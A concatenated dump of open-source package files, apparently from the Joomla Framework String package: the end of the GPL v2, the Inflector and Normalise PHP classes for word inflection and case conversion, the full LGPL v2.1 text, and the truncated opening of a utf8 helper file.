necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework String Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\String;

use InvalidArgumentException;

/**
 * Joomla Framework String Inflector Class
 *
 * The Inflector transforms words
 *
 * @since  1.0
 */
class Inflector
{
	/**
	 * The singleton instance.
	 *
	 * @var    Inflector
	 * @since  1.0
	 */
	private static $instance;

	/**
	 * The inflector rules for singularisation, pluralisation and
countability.
	 *
	 * @var    array
	 * @since  1.0
	 */
	private $rules = array(
		'singular' => array(
			'/(matr)ices$/i'                                              
           => '\1ix',
			'/(vert|ind)ices$/i'                                          
           => '\1ex',
			'/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|viri?)i$/i'
=> '\1us',
			'/([ftw]ax)es/i'                                              
           => '\1',
			'/(cris|ax|test)es$/i'                                        
           => '\1is',
			'/(shoe|slave)s$/i'                                           
           => '\1',
			'/(o)es$/i'                                                   
           => '\1',
			'/([^aeiouy]|qu)ies$/i'                                       
           => '\1y',
			'/$1ses$/i'                                                   
           => '\s',
			'/ses$/i'                                                     
           => '\s',
			'/eaus$/'                                                     
           => 'eau',
			'/^(.*us)$/'                                                  
           => '\\1',
			'/s$/i'                                                       
           => '',
		),
		'plural' => array(
			'/([m|l])ouse$/i'                                             
          => '\1ice',
			'/(matr|vert|ind)(ix|ex)$/i'                                  
          => '\1ices',
			'/(x|ch|ss|sh)$/i'                                            
          => '\1es',
			'/([^aeiouy]|qu)y$/i'                                         
          => '\1ies',
			'/([^aeiouy]|qu)ies$/i'                                       
          => '\1y',
			'/(?:([^f])fe|([lr])f)$/i'                                    
          => '\1\2ves',
			'/sis$/i'                                                     
          => 'ses',
			'/([ti])um$/i'                                                
          => '\1a',
			'/(buffal|tomat)o$/i'                                         
          => '\1\2oes',
			'/(alumn|bacill|cact|foc|fung|nucle|radi|stimul|syllab|termin|vir)us$/i'
=> '\1i',
			'/us$/i'                                                      
          => 'uses',
			'/(ax|cris|test)is$/i'                                        
          => '\1es',
			'/s$/i'                                                       
          => 's',
			'/$/'                                                         
          => 's',
		),
		'countable' => array(
			'id',
			'hits',
			'clicks',
		),
	);

	/**
	 * Cached inflections.
	 *
	 * The array is in the form [singular => plural]
	 *
	 * @var    string[]
	 * @since  1.0
	 */
	private $cache = array();

	/**
	 * Protected constructor.
	 *
	 * @since  1.0
	 */
	protected function __construct()
	{
		// Pre=populate the irregual singular/plural.
		$this
			->addWord('deer')
			->addWord('moose')
			->addWord('sheep')
			->addWord('bison')
			->addWord('salmon')
			->addWord('pike')
			->addWord('trout')
			->addWord('fish')
			->addWord('swine')

			->addWord('alias', 'aliases')
			->addWord('bus', 'buses')
			->addWord('foot', 'feet')
			->addWord('goose', 'geese')
			->addWord('hive', 'hives')
			->addWord('louse', 'lice')
			->addWord('man', 'men')
			->addWord('mouse', 'mice')
			->addWord('ox', 'oxen')
			->addWord('quiz', 'quizes')
			->addWord('status', 'statuses')
			->addWord('tooth', 'teeth')
			->addWord('woman', 'women');
	}

	/**
	 * Adds inflection regex rules to the inflector.
	 *
	 * @param   mixed   $data      A string or an array of strings or regex
rules to add.
	 * @param   string  $ruleType  The rule type: singular | plural |
countable
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  InvalidArgumentException
	 */
	private function addRule($data, $ruleType)
	{
		if (\is_string($data))
		{
			$data = array($data);
		}
		elseif (!\is_array($data))
		{
			// Do not translate.
			throw new InvalidArgumentException('Invalid inflector rule
data.');
		}

		foreach ($data as $rule)
		{
			// Ensure a string is pushed.
			array_push($this->rules[$ruleType], (string) $rule);
		}
	}

	/**
	 * Gets an inflected word from the cache where the singular form is
supplied.
	 *
	 * @param   string  $singular  A singular form of a word.
	 *
	 * @return  string|boolean  The cached inflection or false if none found.
	 *
	 * @since   1.0
	 */
	private function getCachedPlural($singular)
	{
		$singular = StringHelper::strtolower($singular);

		// Check if the word is in cache.
		if (isset($this->cache[$singular]))
		{
			return $this->cache[$singular];
		}

		return false;
	}

	/**
	 * Gets an inflected word from the cache where the plural form is
supplied.
	 *
	 * @param   string  $plural  A plural form of a word.
	 *
	 * @return  string|boolean  The cached inflection or false if none found.
	 *
	 * @since   1.0
	 */
	private function getCachedSingular($plural)
	{
		$plural = StringHelper::strtolower($plural);

		return array_search($plural, $this->cache);
	}

	/**
	 * Execute a regex from rules.
	 *
	 * The 'plural' rule type expects a singular word.
	 * The 'singular' rule type expects a plural word.
	 *
	 * @param   string  $word      The string input.
	 * @param   string  $ruleType  String (eg, singular|plural)
	 *
	 * @return  string|boolean  An inflected string, or false if no rule could
be applied.
	 *
	 * @since   1.0
	 */
	private function matchRegexRule($word, $ruleType)
	{
		// Cycle through the regex rules.
		foreach ($this->rules[$ruleType] as $regex => $replacement)
		{
			$matches     = 0;
			$matchedWord = preg_replace($regex, $replacement, $word, -1, $matches);

			if ($matches > 0)
			{
				return $matchedWord;
			}
		}

		return false;
	}

	/**
	 * Sets an inflected word in the cache.
	 *
	 * @param   string  $singular  The singular form of the word.
	 * @param   string  $plural    The plural form of the word. If omitted, it
is assumed the singular and plural are identical.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	private function setCache($singular, $plural = null)
	{
		$singular = StringHelper::strtolower($singular);

		if ($plural === null)
		{
			$plural = $singular;
		}
		else
		{
			$plural = StringHelper::strtolower($plural);
		}

		$this->cache[$singular] = $plural;
	}

	/**
	 * Adds a countable word.
	 *
	 * @param   mixed  $data  A string or an array of strings to add.
	 *
	 * @return  Inflector  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function addCountableRule($data)
	{
		$this->addRule($data, 'countable');

		return $this;
	}

	/**
	 * Adds a specific singular-plural pair for a word.
	 *
	 * @param   string  $singular  The singular form of the word.
	 * @param   string  $plural    The plural form of the word. If omitted, it
is assumed the singular and plural are identical.
	 *
	 * @return  Inflector  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function addWord($singular, $plural =null)
	{
		$this->setCache($singular, $plural);

		return $this;
	}

	/**
	 * Adds a pluralisation rule.
	 *
	 * @param   mixed  $data  A string or an array of regex rules to add.
	 *
	 * @return  Inflector  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function addPluraliseRule($data)
	{
		$this->addRule($data, 'plural');

		return $this;
	}

	/**
	 * Adds a singularisation rule.
	 *
	 * @param   mixed  $data  A string or an array of regex rules to add.
	 *
	 * @return  Inflector  Returns this object to support chaining.
	 *
	 * @since   1.0
	 */
	public function addSingulariseRule($data)
	{
		$this->addRule($data, 'singular');

		return $this;
	}

	/**
	 * Gets an instance of the JStringInflector singleton.
	 *
	 * @param   boolean  $new  If true (default is false), returns a new
instance regardless if one exists.
	 *                         This argument is mainly used for testing.
	 *
	 * @return  Inflector
	 *
	 * @since   1.0
	 */
	public static function getInstance($new = false)
	{
		if ($new)
		{
			return new static;
		}

		if (!\is_object(self::$instance))
		{
			self::$instance = new static;
		}

		return self::$instance;
	}

	/**
	 * Checks if a word is countable.
	 *
	 * @param   string  $word  The string input.
	 *
	 * @return  boolean  True if word is countable, false otherwise.
	 *
	 * @since   1.0
	 */
	public function isCountable($word)
	{
		return \in_array($word, $this->rules['countable']);
	}

	/**
	 * Checks if a word is in a plural form.
	 *
	 * @param   string  $word  The string input.
	 *
	 * @return  boolean  True if word is plural, false if not.
	 *
	 * @since   1.0
	 */
	public function isPlural($word)
	{
		// Try the cache for a known inflection.
		$inflection = $this->getCachedSingular($word);

		if ($inflection !== false)
		{
			return true;
		}

		$singularWord = $this->toSingular($word);

		if ($singularWord === false)
		{
			return false;
		}

		// Compute the inflection to cache the values, and compare.
		return $this->toPlural($singularWord) == $word;
	}

	/**
	 * Checks if a word is in a singular form.
	 *
	 * @param   string  $word  The string input.
	 *
	 * @return  boolean  True if word is singular, false if not.
	 *
	 * @since   1.0
	 */
	public function isSingular($word)
	{
		// Try the cache for a known inflection.
		$inflection = $this->getCachedPlural($word);

		if ($inflection !== false)
		{
			return true;
		}

		$pluralWord = $this->toPlural($word);

		if ($pluralWord === false)
		{
			return false;
		}

		// Compute the inflection to cache the values, and compare.
		return $this->toSingular($pluralWord) == $word;
	}

	/**
	 * Converts a word into its plural form.
	 *
	 * @param   string  $word  The singular word to pluralise.
	 *
	 * @return  string|boolean  An inflected string, or false if no rule could
be applied.
	 *
	 * @since   1.0
	 */
	public function toPlural($word)
	{
		// Try to get the cached plural form from the singular.
		$cache = $this->getCachedPlural($word);

		if ($cache !== false)
		{
			return $cache;
		}

		// Check if the word is a known singular.
		if ($this->getCachedSingular($word))
		{
			return false;
		}

		// Compute the inflection.
		$inflected = $this->matchRegexRule($word, 'plural');

		if ($inflected !== false)
		{
			$this->setCache($word, $inflected);

			return $inflected;
		}

		// Dead code
		return false;
	}

	/**
	 * Converts a word into its singular form.
	 *
	 * @param   string  $word  The plural word to singularise.
	 *
	 * @return  string|boolean  An inflected string, or false if no rule could
be applied.
	 *
	 * @since   1.0
	 */
	public function toSingular($word)
	{
		// Try to get the cached singular form from the plural.
		$cache = $this->getCachedSingular($word);

		if ($cache !== false)
		{
			return $cache;
		}

		// Check if the word is a known plural.
		if ($this->getCachedPlural($word))
		{
			return false;
		}

		// Compute the inflection.
		$inflected = $this->matchRegexRule($word, 'singular');

		if ($inflected !== false)
		{
			$this->setCache($inflected, $word);

			return $inflected;
		}

		return false;
	}
}
<?php
/**
 * Part of the Joomla Framework String Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\String;

/**
 * Joomla Framework String Normalise Class
 *
 * @since  1.0
 */
abstract class Normalise
{
	/**
	 * Method to convert a string from camel case.
	 *
	 * This method offers two modes. Grouped allows for splitting on groups of
uppercase characters as follows:
	 *
	 * "FooBarABCDef"            becomes  array("Foo",
"Bar", "ABC", "Def")
	 * "JFooBar"                 becomes  array("J",
"Foo", "Bar")
	 * "J001FooBar002"           becomes  array("J001",
"Foo", "Bar002")
	 * "abcDef"                  becomes  array("abc",
"Def")
	 * "abc_defGhi_Jkl"          becomes  array("abc_def",
"Ghi_Jkl")
	 * "ThisIsA_NASAAstronaut"   becomes  array("This",
"Is", "A_NASA", "Astronaut"))
	 * "JohnFitzgerald_Kennedy"  becomes  array("John",
"Fitzgerald_Kennedy"))
	 *
	 * Non-grouped will split strings at each uppercase character.
	 *
	 * @param   string   $input    The string input (ASCII only).
	 * @param   boolean  $grouped  Optionally allows splitting on groups of
uppercase characters.
	 *
	 * @return  string  The space separated string.
	 *
	 * @since   1.0
	 */
	public static function fromCamelCase($input, $grouped = false)
	{
		return $grouped
			?
preg_split('/(?<=[^A-Z_])(?=[A-Z])|(?<=[A-Z])(?=[A-Z][^A-Z_])/x',
$input)
			: trim(preg_replace('#([A-Z])#', ' $1', $input));
	}

	/**
	 * Method to convert a string into camel case.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The camel case string.
	 *
	 * @since   1.0
	 */
	public static function toCamelCase($input)
	{
		// Convert words to uppercase and then remove spaces.
		$input = self::toSpaceSeparated($input);
		$input = ucwords($input);
		$input = str_ireplace(' ', '', $input);

		return $input;
	}

	/**
	 * Method to convert a string into dash separated form.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The dash separated string.
	 *
	 * @since   1.0
	 */
	public static function toDashSeparated($input)
	{
		// Convert spaces and underscores to dashes.
		$input = preg_replace('#[ \-_]+#', '-', $input);

		return $input;
	}

	/**
	 * Method to convert a string into space separated form.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The space separated string.
	 *
	 * @since   1.0
	 */
	public static function toSpaceSeparated($input)
	{
		// Convert underscores and dashes to spaces.
		$input = preg_replace('#[ \-_]+#', ' ', $input);

		return $input;
	}

	/**
	 * Method to convert a string into underscore separated form.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The underscore separated string.
	 *
	 * @since   1.0
	 */
	public static function toUnderscoreSeparated($input)
	{
		// Convert spaces and dashes to underscores.
		$input = preg_replace('#[ \-_]+#', '_', $input);

		return $input;
	}

	/**
	 * Method to convert a string into variable form.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The variable string.
	 *
	 * @since   1.0
	 */
	public static function toVariable($input)
	{
		// Convert to camel case.
		$input = self::toCamelCase($input);

		// Remove leading digits.
		$input = preg_replace('#^[0-9]+#', '', $input);

		// Lowercase the first character.
		$input = lcfirst($input);

		return $input;
	}

	/**
	 * Method to convert a string into key form.
	 *
	 * @param   string  $input  The string input (ASCII only).
	 *
	 * @return  string  The key string.
	 *
	 * @since   1.0
	 */
	public static function toKey($input)
	{
		// Remove spaces and dashes, then convert to lower case.
		$input = self::toUnderscoreSeparated($input);
		$input = strtolower($input);

		return $input;
	}
}
		  GNU LESSER GENERAL PUBLIC LICENSE
		       Version 2.1, February 1999

 Copyright (C) 1991, 1999 Free Software Foundation, Inc.
     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL.  It also counts
 as the successor of the GNU Library Public License, version 2, hence
 the version number 2.1.]

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.

  This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it.  You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.

  When we speak of free software, we are referring to freedom of use,
not price.  Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.

  To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights.  These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.

  For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you.  You must make sure that they, too, receive or can get the source
code.  If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it.  And you must show them these terms so they know their rights.

  We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.

  To protect each distributor, we want to make it very clear that
there is no warranty for the free library.  Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.

  Finally, software patents pose a constant threat to the existence of
any free program.  We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder.  Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.

  Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License.  This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License.  We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.

  When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library.  The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom.  The Lesser General
Public License permits more lax criteria for linking other code with
the library.

  We call this license the "Lesser" General Public License
because it
does Less to protect the user's freedom than the ordinary General
Public License.  It also provides other free software developers Less
of an advantage over competing non-free programs.  These disadvantages
are the reason we use the ordinary General Public License for many
libraries.  However, the Lesser license provides advantages in certain
special circumstances.

  For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard.  To achieve this, non-free programs must be
allowed to use the library.  A more frequent case is that a free
library does the same job as widely used non-free libraries.  In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.

  In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software.  For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.

  Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.

  The precise terms and conditions for copying, distribution and
modification follow.  Pay close attention to the difference between a
"work based on the library" and a "work that uses the
library".  The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.

		  GNU LESSER GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".

  A "library" means a collection of software functions and/or
data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.

  The "Library", below, refers to any such software library or
work
which has been distributed under these terms.  A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language.  (Hereinafter, translation is
included without limitation in the term "modification".)

  "Source code" for a work means the preferred form of the work
for
making modifications to it.  For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.

  Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it).  Whether that is true depends on what the Library does
and what the program that uses the Library does.

  1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.

  You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.

  2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) The modified work must itself be a software library.

    b) You must cause the files modified to carry prominent notices
    stating that you changed the files and the date of any change.

    c) You must cause the whole of the work to be licensed at no
    charge to all third parties under the terms of this License.

    d) If a facility in the modified Library refers to a function or a
    table of data to be supplied by an application program that uses
    the facility, other than as an argument passed when the facility
    is invoked, then you must make a good faith effort to ensure that,
    in the event an application does not supply such function or
    table, the facility still operates, and performs whatever part of
    its purpose remains meaningful.

    (For example, a function in a library to compute square roots has
    a purpose that is entirely well-defined independent of the
    application.  Therefore, Subsection 2d requires that any
    application-supplied function or table used by this function must
    be optional: if the application does not supply it, the square
    root function must still compute square roots.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.

In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library.  To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License.  (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.)  Do not make any other change in
these notices.

  Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.

  This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.

  4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.

  If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.

  5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library".  Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.

  However, linking a "work that uses the Library" with the
Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library".  The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.

  When a "work that uses the Library" uses material from a header
file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library.  The
threshold for this to be true is not precisely defined by law.

  If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work.  (Executables containing this object code plus portions of the
Library will still fall under Section 6.)

  Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.

  6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.

  You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License.  You must supply a copy of this License.  If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License.  Also, you must do one
of these things:

    a) Accompany the work with the complete corresponding
    machine-readable source code for the Library including whatever
    changes were used in the work (which must be distributed under
    Sections 1 and 2 above); and, if the work is an executable linked
    with the Library, with the complete machine-readable "work that
    uses the Library", as object code and/or source code, so that the
    user can modify the Library and then relink to produce a modified
    executable containing the modified Library.  (It is understood
    that the user who changes the contents of definitions files in the
    Library will not necessarily be able to recompile the application
    to use the modified definitions.)

    b) Use a suitable shared library mechanism for linking with the
    Library.  A suitable mechanism is one that (1) uses at run time a
    copy of the library already present on the user's computer system,
    rather than copying library functions into the executable, and (2)
    will operate properly with a modified version of the library, if
    the user installs one, as long as the modified version is
    interface-compatible with the version that the work was made with.

    c) Accompany the work with a written offer, valid for at
    least three years, to give the same user the materials
    specified in Subsection 6a, above, for a charge no more
    than the cost of performing this distribution.

    d) If distribution of the work is made by offering access to copy
    from a designated place, offer equivalent access to copy the above
    specified materials from the same place.

    e) Verify that the user has already received a copy of these
    materials or that you have already sent this user a copy.

  For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it.  However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.

  It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system.  Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.

  7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:

    a) Accompany the combined library with a copy of the same work
    based on the Library, uncombined with any other library
    facilities.  This must be distributed under the terms of the
    Sections above.

    b) Give prominent notice with the combined library of the fact
    that part of it is a work based on the Library, and explaining
    where to find the accompanying uncombined form of the same work.

  8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License.  Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms
and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

		     END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what
it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 
USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James
Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!


<?php
/**
* @package utf8
*/

/**
